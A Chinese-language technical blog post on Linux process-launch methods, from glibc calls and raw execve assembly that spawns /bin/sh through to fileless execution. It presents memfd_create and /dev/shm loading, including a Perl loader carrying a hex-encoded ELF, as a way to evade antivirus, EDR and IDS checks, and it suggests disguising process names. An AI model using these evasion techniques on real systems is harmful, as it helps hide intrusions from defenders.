Linux進程啟動/指令執行方式研究


1. 通過glibc api執行系統指令

0x1:system() glibc api

system是linux系統提供的函數調用之一,glibc也提供了對應的封裝api。

system函數的原型為:

#include <stdlib.h>
int system (const char *string);

它的作用是,運行以字符串參數的形式傳遞給它的命令並等待該命令的完成。命令的執行情況就如同在shell中執行命令:sh -c string。

如果無法啟動shell來運行這個命令,system函數返回錯誤代碼127;如果是其他錯誤,則返回-1。否則,system函數將返回該命令的退出碼。

#include <stdlib.h>
#include <stdio.h>
 
int main()
{
    printf("Running ps with system\n");
    system("ps au");// 1
    printf("ps Done\n");
    exit(0);
}

# gcc -o new_ps_system new_ps_system.c

 

netlink監控到的進程鏈信息如下:

 

0x2:exec系列 glibc api

exec系列函數由一組相關的函數組成,它們在進程的啟動方式和程序參數的聲明上各有不同。但是exec系列函數都有一個共同的工作方式,就是把當前進程替換為一個新進程,也就是說我們可以使用exec函數將程序的執行從一個程序切換到另一個程序,在新的程序啟動后,原來的程序就不再執行了。

新進程由path或file參數指定。

#include <unistd.h>
 
char **environ;
 
int execl (const char *path, const char *arg0, ..., (char*)0);
int execlp(const char *file, const char *arg0, ..., (char*)0);
int execle(const char *path, const char *arg0, ..., (char*)0, char *const envp[]);
 
int execv (const char *path, char *const argv[]);
int execvp(cosnt char *file, char *const argv[]);
int execve(const char *path, char *const argv[], char *const envp[]);

如果想用exec系統函數來啟動ps進程,則這6個不同的函數的調用語句為:

char *const ps_envp[] = {"PATH=/bin:usr/bin", "TERM=console", 0};
char *const ps_argv[] = {"ps", "au", 0};
 
execl("/bin/ps", "ps", "au", 0);
execlp("ps", "ps", "au", 0);
execle("/bin/ps", "ps", "au", 0, ps_envp);
 
execv("/bin/ps", ps_argv);
execvp("ps", ps_argv);
execve("/bin/ps", ps_argv, ps_envp);

完整的例子如下,

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    printf("Running ps with execlp\n");
    execlp("ps", "ps", "au", (char*)0);
    printf("ps Done");
    exit(0);
}

# gcc -o new_ps_exec new_ps_exec.c -lm

從netlink監控到的進程啟動消息可以看到,通過exec方式啟動的新進程,直接將當前進程替換為了新的指令進程。

需要注意的是,一般情況下,exec函數是不會返回的,除非發生錯誤返回-1,由exec啟動的新進程繼承了原進程的內存空間和句柄,在原進程中已打開的文件描述符在新進程中仍將保持打開,但任何在原進程中已打開的目錄流都將在新進程中被關閉。 

所以我們可以發現,最后的ps Done並沒有輸出,因為程序並沒有再一次返回到程序new_ps_exec.exe上。

因為調用execlp函數時,new_ps_exec.exe進程被替換為ps進程,當ps進程結束后,整個程序就結束了,並沒有回到原來的new_ps_exec.exe進程上,原本的進程new_ps_exec.exe不會再執行,所以語句printf("ps Done");根本沒有機會執行。

0x3:fork() glibc api

# multiprocessing.py
import os

print 'Process (%s) start...' % os.getpid()
pid = os.fork()
if pid==0:
    print 'I am child process (%s) and my parent is %s.' % (os.getpid(), os.getppid())
else:
    print 'I (%s) just created a child process (%s).' % (os.getpid(), pid)

netlink監控到的進程鏈信息如下:

Relevant Link: 

https://blog.csdn.net/ljianhui/article/details/10089345 
https://www.ibm.com/developerworks/cn/linux/l-connector/index.html

 

2. 通過syscall系統調用執行指令

除了通過glibc調用fork/execv之外,還可以繞過glibc,直接通過匯編觸發“int80中斷”,從而直接使用操作系統提供的系統調用能力。

0x1:system syscall

0x2:execve syscall

asm_execve.s 

.section .data
file_to_run:
.ascii       "/bin/sh"

.section .text
.globl main

main:
    pushl %ebp
    movl %esp, %ebp
    subl $0x8, %esp         # array of two pointers. array[0] = file_to_run  array[1] = 0

    movl file_to_run, %edi
    movl %edi, -0x4(%ebp)   
    movl $0, -0x8(%ebp)

    movl $11, %eax                      # sys_execve
    movl file_to_run, %ebx              # file to execute       
    leal -4(%ebp), %ecx                 # command line parameters
    movl $0, %edx                       # environment block
    int  $0x80              

    leave
    ret

Makefile

NAME = asm_execve
$(NAME) : $(NAME).s
    gcc -o $(NAME) $(NAME).s

編譯並執行

gcc -o asm_execve asm_execve.s

上述匯編原理上和下面這段C代碼是等價的,

char *data[2];
data[0] = "/bin/sh"; 
data[1] = NULL;
execve(data[0], data, NULL);

x64版本的匯編如下:

.section .text
.globl main

main:
    xor %rdx, %rdx 
    push %rdx

    sub $0x16, %rsp
    movb $0x2f, 7(%rsp)
    movl $0x2f6e6962, 8(%rsp)
    movl $0x746163, 12(%rsp)
    leaq 7(%rsp), %rdi

    pushq %rdx

    push %rdi

    mov %rsp, %rsi

    movb $0x3b, %al 
    syscall

Relevant Link: 

https://stackoverflow.com/questions/9342410/sys-execve-system-call-from-assembly
https://stackoverflow.com/questions/47897025/assembly-execve-bin-bash-x64
https://www.exploit-db.com/exploits/35205
https://reverseengineering.stackexchange.com/questions/21634/how-to-pass-param-to-execve-to-execute-cat-a-file-in-x64-asm

 

3. 通過Bash執行指令

0x1:Bash內置指令執行

所謂 Shell 內建命令,就是由 Bash 自身提供的命令,而不是文件系統中的某個可執行文件。

例如,用於進入或者切換目錄的 cd 命令,該命令並不是某個外部文件,只要在 Shell 中就直接可以運行這個命令,Bash 會完成指令的解析與執行並返回結果。內建指令不會啟動新進程

可以用type指令來查看某個指令是否是Bash內建指令,

root@iZbp1i02dgbk14bmjk8m9vZ:~# type cd
cd is a shell builtin
root@iZbp1i02dgbk14bmjk8m9vZ:~# type ifconfig
ifconfig is /sbin/ifconfig

0x2:通過Bash啟動第三方新進程(指令)

本質上Bash通過調用execve() glibc api來實現的,以執行whoami指令為例,

同時,netlink會收到一個進程啟動事件消息,

 

4.  Python啟動新進程

0x1:os.execv()

#!/usr/bin/python
#coding=utf-8
import os

def main():
    print "Running ps with execlp"
    os.execlp("who", 'who')
    print "Done."

main()

# strace python new_proc.py

strace跟蹤如下:

 

可以看到,python底層還是調用了glibc庫的execv api來實現進程啟動的。 

netlink監控消息如下,

0x2:python Multiprocessing類

  • Unix/Linux下,multiprocessing模塊封裝了fork()調用,使我們不需要關注fork()的細節
  • Windows沒有fork調用,因此,multiprocessing需要“模擬”出fork的效果,父進程所有Python對象都必須通過pickle序列化再傳到子進程去

創建出多進程后,每個新進程都拷貝了一份原主進程的完整py代碼,新的多進程可以繼續執行py代碼中指定的callback函數。

同時,進程間通信是通過Queue、Pipes等實現的,方便multiprocess進行多進程管理。

1. Process(用於創建進程模塊)

因為python使用全局解釋器鎖(GIL),他會將進程中的線程序列化,也就是多核cpu實際上並不能達到並行提高速度的目的,而使用多進程則是不受限的,所以實際應用中都是推薦多進程的。

#  -*- coding: utf-8 -*-

from multiprocessing import Process
import time
import random

def test():
    for i in range(1,5):
        print("---%d---"%i)
        time.sleep(60)

p = Process(target=test)
p.start()   #讓這個進程開始執行test函數里面的代碼

p.join()     #等進程p結束之后,才會繼續向下走
print("---main----")

可以看到,通過python Process類啟動的新進程,只會監控到fork事件,從netlink角度來看,就是重復啟動了一次原腳本文件。

2. Pool(用於創建管理進程池)

#  -*- coding: utf-8 -*-

from multiprocessing import Pool
import os
import time

def worker(num):
    for i in range(2):
        print("===pid=%d===num=%d"%(os.getpid(), num))
        time.sleep(1)

pool = Pool(3)  #定義一個進程池,最大進程數3

for i in range(5):
    print("---%d---"%i)
    pool.apply_async(worker, [i,])    #使用非阻塞方式調用func(並行執行,堵塞方式必須
                                      #等待上一個進程退出才能執行下一個進程)

print("---start----")
pool.close()    #關閉進程池,關閉后pool不能再添加新的請求
pool.join()     #等待pool中所有子進程執行完成,必須放在close語句之后
print("---end----")

可以看到,通過python Pool類啟動的新進程,底層還是調用的fork。

Relevant Link: 

https://thief.one/2016/11/23/Python-multiprocessing/
https://blog.csdn.net/Duke10/article/details/79861201
https://www.liaoxuefeng.com/wiki/897692888725344/923056295693632

0x3:執行中間態緩存文件

Python的程序中,是把原始程序代碼放在.py文件里,而Python會在執行.py文件的時候。將.py形式的程序編譯成中間式文件(byte-compiled)的.pyc文件,這么做的目的就是為了加快下次執行文件的速度。

同樣,攻擊者可以提前先編譯好pyc文件,之后投遞到目標機器上直接執行,從而躲避目標機器上IDS的文本內容審查。

python -m py_compile ./poc.py

值得注意的是,pyc文件對后綴是沒有強制要求的,任意后綴都可以被執行。 

 

5. 無文件進程啟動方式

進程啟動的本質是將一段匯編指令(shellcode)從某種媒介上加載到計算機的內存(RAM)中,並觸發操作系統的cpu調度,從某個執行的內存地址中開始按照邏輯順序執行。

操作系統真正需要的是內存中的shellcode代碼以及制定入口點虛擬內存空間,至於這個shellcode從哪里來並不重要,可以是從物理磁盤,也可以是網絡IO流,或者是虛擬內存設備。

在Linux系統中實現無文件執行ELF是滲透測試中一種非常有用的技術。這種方法較為隱蔽,可以繞過各種類型的反病毒保護機制、系統完整性保護機制以及基於硬盤監控的防護系統。通過這種方法,我們能夠以最小的動靜訪問目標。

0x1:基於linux內存鏡像文件 

我們可以利用linux文件系統中的共享內存分區來存儲進程文件,例如

  • /dev/shm
  • /run/shm

這些目錄實際上是掛載到文件系統上已分配的內存空間,寫入到這些目錄下的文件不會實際落到物理磁盤上。

但是如果我們使用ls命令,就可以像查看其他目錄一樣查看這些目錄,會發現目錄下的進程文件。

此外,已掛載的這些目錄設置了noexec標志,因此只有超級用戶才能執行這些目錄中的程序。 

0x2:基於memfd_create創建內存鏡像文件 

1. memfd_create基本介紹 

#define _GNU_SOURCE         /* See feature_test_macros(7) */
#include <sys/mman.h>

int memfd_create(const char *name, unsigned int flags);

name參數代表文件名,在/proc/self/fd/目錄中我們可以看到該文件名為符號鏈接的目的文件。顯示在/proc/self/fd/目錄中的文件名始終帶有memfd:前綴,並且只用於調試目的。
名稱並不會影響文件描述符的行為,因此多個文件可以擁有相同的名稱,不會有任何影響。

flags標志位,進行tmpfs無文件執行的時候需要MFD_CLOEXEC標志(類似於O_CLOEXEC),以便當我們執行ELF二進制文件時,我們得到的文件描述符將被自動關閉

memfd_create這個系統調用。該系統調用與malloc比較類似,但並不會返回指向已分配內存的一個指針,而是返回指向某個匿名文件的文件描述符。該匿名文件以鏈接(link)形式存放在/proc/pid/fd/文件系統中。

#include <stdio.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

int main()
{
    int fd;
    pid_t child;
    char buf[BUFSIZ] = "";
    ssize_t br;

    fd = syscall(SYS_memfd_create, "foofile", 0);
    if (fd == -1)
    {
        perror("memfd_create");
        exit(EXIT_FAILURE);
    }

    child = fork();
    if (child == 0)
    {
        dup2(fd, 1);
        close(fd);
        execlp("/bin/date", "/bin/date", NULL);
        perror("execlp date");
        exit(EXIT_FAILURE);
    }
    else if (child == -1)
    {
        perror("fork");
        exit(EXIT_FAILURE);
    }

    waitpid(child, NULL, 0);

    lseek(fd, 0, SEEK_SET);
    br = read(fd, buf, BUFSIZ);
    if (br == -1)
    {
        perror("read");
        exit(EXIT_FAILURE);
    }
    buf[br] = 0;

    printf("child said: '%s'n", buf);

    exit(EXIT_SUCCESS);
}
View Code

如上代碼使用memfd創建一個子進程,將其輸出重定向至一個臨時文件,等待子進程結束,從臨時文件中讀取子進程輸出數據。通常情況下,*nix環境會使用|管道將一個程序的輸出重定向至另一個程序的輸入。

2. 將可執行文件載入內存並啟動【C語言】

  • fd = memfd_create("", MFD_CLOEXEC);
  • write(fd, elfbuffer, elfbuffer_len);
  • asprintf(p, "/proc/self/fd/%i", fd); execl(p, "kittens", "arg1", "arg2", NULL);
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <linux/memfd.h>
#include <sys/syscall.h>
#include <errno.h>
 
int anonyexec(const char *path, char *argv[])
{
    int   fd, fdm, filesize;
    void *elfbuf;
    char  cmdline[256];
 
    fd = open(path, O_RDONLY);
    filesize = lseek(fd, SEEK_SET, SEEK_END);
    lseek(fd, SEEK_SET, SEEK_SET);
    elfbuf = malloc(filesize);
    read(fd, elfbuf, filesize);
    close(fd);
    fdm = syscall(__NR_memfd_create, "elf", MFD_CLOEXEC);
    ftruncate(fdm, filesize);
    write(fdm, elfbuf, filesize);
    free(elfbuf);
    sprintf(cmdline, "/proc/self/fd/%d", fdm);
    argv[0] = cmdline;
    execve(argv[0], argv, NULL);
    free(elfbuf);
    return -1;
}
 
int main()
{
    char *argv[] = {"/bin/uname", "-a", NULL};
    int result =anonyexec("/bin/uname", argv);
    return result;
}

3. 使用perl進行memfd_create無文件執行

假設現在我們已經找到了命令注入點,我們需要找到在目標上執行系統命令的方法。

上一小節介紹的C語言的memfd_create方式需要在本地編譯並執行一個二進制程序,會遇到二進制AV EDR的檢測與防御阻斷。所以,現在很多白帽子都不會使用C二進制程序來投遞載荷了,轉而使用行為特征更隱蔽的git腳本語言,例如perl/python/powershell,這類語言本身都預裝在操作系統中,而且可以在命令行即時執行而不需要落盤文件。

1)創建內存匿名文件

my $name = "";
my $fd = syscall(319, $name, 1);
if (-1 == $fd) {
        die "memfd_create: $!";
}
  • syscall的第一個參數是”調用號(call number)“,我們可以在/usr/include或者網上找到這些信息。系統調用號位於#define中,前綴為__NR_。在這個場景中,64位Linux系統上memfd_create()的系統調用號為319,數字常量為FD_CLOSEXEC 0x0001U
  • syscall的第二個參數是”文件名稱“,我們會在/proc/self/fd/目錄中看到帶有”/memfd:“前綴的文件名。因此我們最好的方法就是選擇接近[:kworker]或者看上去不大可疑的另一個名稱。
  • syscall的第三個參數是”標志位“,這里1就是代表MFD_CLOEXEC

現在$fd為匿名文件的文件描述符,我們需要將ELF寫入該文件。

Perl中有個open()函數,通常用來打開文件,我們也可以使用該函數,在參數中指定">&="."匿名文件描述符",將已打開的文件描述符轉化為文件句柄。此外這里還需要設置autoflush[]。

open(my $FH, '>&='.$fd) or die "open: $!";
select((select($FH), $|=1)[0]);

完成代碼如下:

#!/usr/bin/env perl

use warnings;
use strict;

$| = 1;

# open a memory-tmp file
print "making memory tmp file";

my $name = "";
my $fd = syscall(319, $name, 1);
if (-1 == $fd) {
        die "memfd_create: $!";
}  
print "fd $fd\n";

# make a nice perl file handle
open(my $FH, '>&='.$fd) or die "open: $!";
select((select($FH), $|=1)[0]);

# load binary into memory-tmp file
print "writing elf binary to memory...."

2)將ELF內容寫入內存匿名文件

現在我們已經搞定指向匿名文件的一個文件描述符。接下來我們需要將可執行文件提供給Perl,可以通過如下方式:

$ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary

以上命令會輸出許多行,如下所示:

print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e00010000000005400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/4000000000000000781a0000000000000000000040003800090040001f001c00/ or die qq/write: $!/;
print $FH pack q/H*/, q/0600000005000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/f801000000000000f80100000000000008000000000000000300000004000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/3802000000000000380240000000000038024000000000001c00000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/1c00000000000000010000000000000001000000050000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000400000000000000040000000000014080000000000001408000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/00002000000000000100000006000000100e000000000000100e600000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/100e600000000000400200000000000048020000000000000000200000000000/ or die qq/write: $!/;

執行這些語句就可以將我們的可執行文件載入內存中,等待執行。

我們將其保存為一個pl文件,

3)調用exec函數執行匿名內存文件

在perl中我們可以使用Exec()來啟動新進程。我們需要傳遞給exec()兩個參數:

  • 待執行的文件(內存中的ELF文件)
  • 進程名

調用exec()的語法如下:

exec {"/proc/$$/fd/$fd"}

通常情況下,文件名和進程名相同,但由於我們可以在進程列表中看到/proc/PID/fd/3信息,因此我們需要重命名進程。

#!/usr/bin/env perl

use warnings;
use strict;

$| = 1;

# open a memory-tmp file
print "making memory tmp file";

my $name = "";
my $fd = syscall(319, $name, 1);
if (-1 == $fd) {
        die "memfd_create: $!";
}  
print "fd $fd\n";

# make a nice perl file handle
open(my $FH, '>&='.$fd) or die "open: $!";
select((select($FH), $|=1)[0]);

# load binary into memory-tmp file
print "writing elf binary to memory....";

print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e00010000000005400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/4000000000000000781a0000000000000000000040003800090040001f001c00/ or die qq/write: $!/;
print $FH pack q/H*/, q/0600000005000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/f801000000000000f80100000000000008000000000000000300000004000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/3802000000000000380240000000000038024000000000001c00000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/1c00000000000000010000000000000001000000050000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000400000000000000040000000000014080000000000001408000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/00002000000000000100000006000000100e000000000000100e600000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/100e600000000000400200000000000048020000000000000000200000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0200000006000000280e000000000000280e600000000000280e600000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/d001000000000000d00100000000000008000000000000000400000004000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/5402000000000000540240000000000054024000000000004400000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/4400000000000000040000000000000050e5746404000000ec06000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/ec06400000000000ec0640000000000034000000000000003400000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/040000000000000051e574640600000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000001000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/52e5746404000000100e000000000000100e600000000000100e600000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/f001000000000000f00100000000000001000000000000002f6c696236342f6c/ or die qq/write: $!/;
print $FH pack q/H*/, q/642d6c696e75782d7838362d36342e736f2e3200040000001000000001000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/474e550000000000020000000600000020000000040000001400000003000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/474e5500fbdd36c73284d1dbb8cab32bde9c99bb5b3cc39b0100000001000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0100000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000010000000120000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000150000001200000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/2300000012000000000000000000000000000000000000003500000020000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/000000000000000000000000000000000b000000120000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/00000000000000001c0000001200000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/006c6962632e736f2e3600657869740070757473007072696e74660065786563/ or die qq/write: $!/;
print $FH pack q/H*/, q/6c70005f5f6c6962635f73746172745f6d61696e005f5f676d6f6e5f73746172/ or die qq/write: $!/;
print $FH pack q/H*/, q/745f5f00474c4942435f322e322e350000000200020002000000020002000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/01000100010000001000000000000000751a6909000002004400000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/f80f600000000000060000000400000000000000000000001810600000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0700000001000000000000000000000020106000000000000700000002000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000281060000000000007000000030000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/3010600000000000070000000500000000000000000000003810600000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/070000000600000000000000000000004883ec08488b057d0b20004885c07405/ or die qq/write: $!/;
print $FH pack q/H*/, q/e86b0000004883c408c3000000000000ff35720b2000ff25740b20000f1f4000/ or die qq/write: $!/;
print $FH pack q/H*/, q/ff25720b20006800000000e9e0ffffffff256a0b20006801000000e9d0ffffff/ or die qq/write: $!/;
print $FH pack q/H*/, q/ff25620b20006802000000e9c0ffffffff255a0b20006803000000e9b0ffffff/ or die qq/write: $!/;
print $FH pack q/H*/, q/ff25520b20006804000000e9a0ffffffff25020b200066900000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/31ed4989d15e4889e24883e4f0505449c7c0b006400048c7c14006400048c7c7/ or die qq/write: $!/;
print $FH pack q/H*/, q/f6054000e897fffffff4660f1f440000b85710600055482d501060004883f80e/ or die qq/write: $!/;
print $FH pack q/H*/, q/4889e5761bb8000000004885c074115dbf50106000ffe0660f1f840000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/5dc30f1f4000662e0f1f840000000000be50106000554881ee5010600048c1fe/ or die qq/write: $!/;
print $FH pack q/H*/, q/034889e54889f048c1e83f4801c648d1fe7415b8000000004885c0740b5dbf50/ or die qq/write: $!/;
print $FH pack q/H*/, q/106000ffe00f1f005dc3660f1f440000803d990a2000007511554889e5e86eff/ or die qq/write: $!/;
print $FH pack q/H*/, q/ffff5dc605860a200001f3c30f1f4000bf200e600048833f007505eb930f1f00/ or die qq/write: $!/;
print $FH pack q/H*/, q/b8000000004885c074f1554889e5ffd05de97affffff554889e5bfc4064000e8/ or die qq/write: $!/;
print $FH pack q/H*/, q/9cfeffffb900000000badb064000bede064000bfde064000b800000000e8befe/ or die qq/write: $!/;
print $FH pack q/H*/, q/ffffbfe1064000b800000000e87ffeffffbf00000000e895feffff0f1f440000/ or die qq/write: $!/;
print $FH pack q/H*/, q/415741564189ff415541544c8d25be07200055488d2dbe072000534989f64989/ or die qq/write: $!/;
print $FH pack q/H*/, q/d54c29e54883ec0848c1fd03e8fffdffff4885ed742031db0f1f840000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/4c89ea4c89f64489ff41ff14dc4883c3014839eb75ea4883c4085b5d415c415d/ or die qq/write: $!/;
print $FH pack q/H*/, q/415e415fc390662e0f1f840000000000f3c300004883ec084883c408c3000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0100020052756e6e696e67207073207769746820657865636c70006175007073/ or die qq/write: $!/;
print $FH pack q/H*/, q/00707320446f6e6500000000011b033b3000000005000000a4fdffff7c000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/14feffff4c0000000affffffa400000054ffffffc4000000c4ffffff0c010000/ or die qq/write: $!/;
print $FH pack q/H*/, q/1400000000000000017a5200017810011b0c070890010710140000001c000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/c0fdffff2a00000000000000000000001400000000000000017a520001781001/ or die qq/write: $!/;
print $FH pack q/H*/, q/1b0c070890010000240000001c00000020fdffff60000000000e10460e184a0f/ or die qq/write: $!/;
print $FH pack q/H*/, q/0b770880003f1a3b2a332422000000001c000000440000005efeffff45000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/00410e108602430d0600000000000000440000006400000088feffff65000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/00420e108f02420e188e03450e208d04420e288c05480e308606480e3883074d/ or die qq/write: $!/;
print $FH pack q/H*/, q/0e40720e38410e30410e28420e20420e18420e10420e080014000000ac000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/b0feffff02000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/00000000000000000000000000000000d005400000000000b005400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000010000000000000001000000000000000c00000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/70044000000000000d00000000000000b4064000000000001900000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/100e6000000000001b0000000000000008000000000000001a00000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/180e6000000000001c000000000000000800000000000000f5feff6f00000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/9802400000000000050000000000000060034000000000000600000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/b8024000000000000a0000000000000050000000000000000b00000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/1800000000000000150000000000000000000000000000000300000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0010600000000000020000000000000078000000000000001400000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/07000000000000001700000000000000f8034000000000000700000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/e003400000000000080000000000000018000000000000000900000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/1800000000000000feffff6f00000000c003400000000000ffffff6f00000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0100000000000000f0ffff6f00000000b0034000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0000000000000000000000000000000000000000000000000000000000000000/ or die qq/write: $!/;
